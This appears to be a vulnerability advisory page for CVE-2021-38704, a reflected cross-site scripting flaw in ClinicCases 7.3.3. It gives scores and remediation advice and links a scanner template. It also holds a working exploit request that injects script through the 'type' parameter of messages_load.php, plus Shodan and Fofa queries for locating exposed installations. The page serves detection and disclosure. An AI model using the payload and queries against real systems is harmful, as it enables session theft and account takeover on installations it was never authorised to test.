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CVE-2021-38704: ClinicCases 7.3.3 Cross-Site Scripting

TitleClinicCases 7.3.3 Cross-Site Scripting
Authoralph4byt3
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationTo mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.09961
CVE IDCVE-2021-38704
CWE IDCWE-79
Shodan Queryhttp.title:"ClinicCases",html:"/cliniccases/"http.title:"cliniccases",html:"/cliniccases/"
Fofa Querytitle="cliniccases",html:"/cliniccases/"
Tags cve cve2021 xss cliniccases vuln

🔍 Vulnerability Description

ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.

🌐 HTTP Request

GET /cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38704.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38704.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A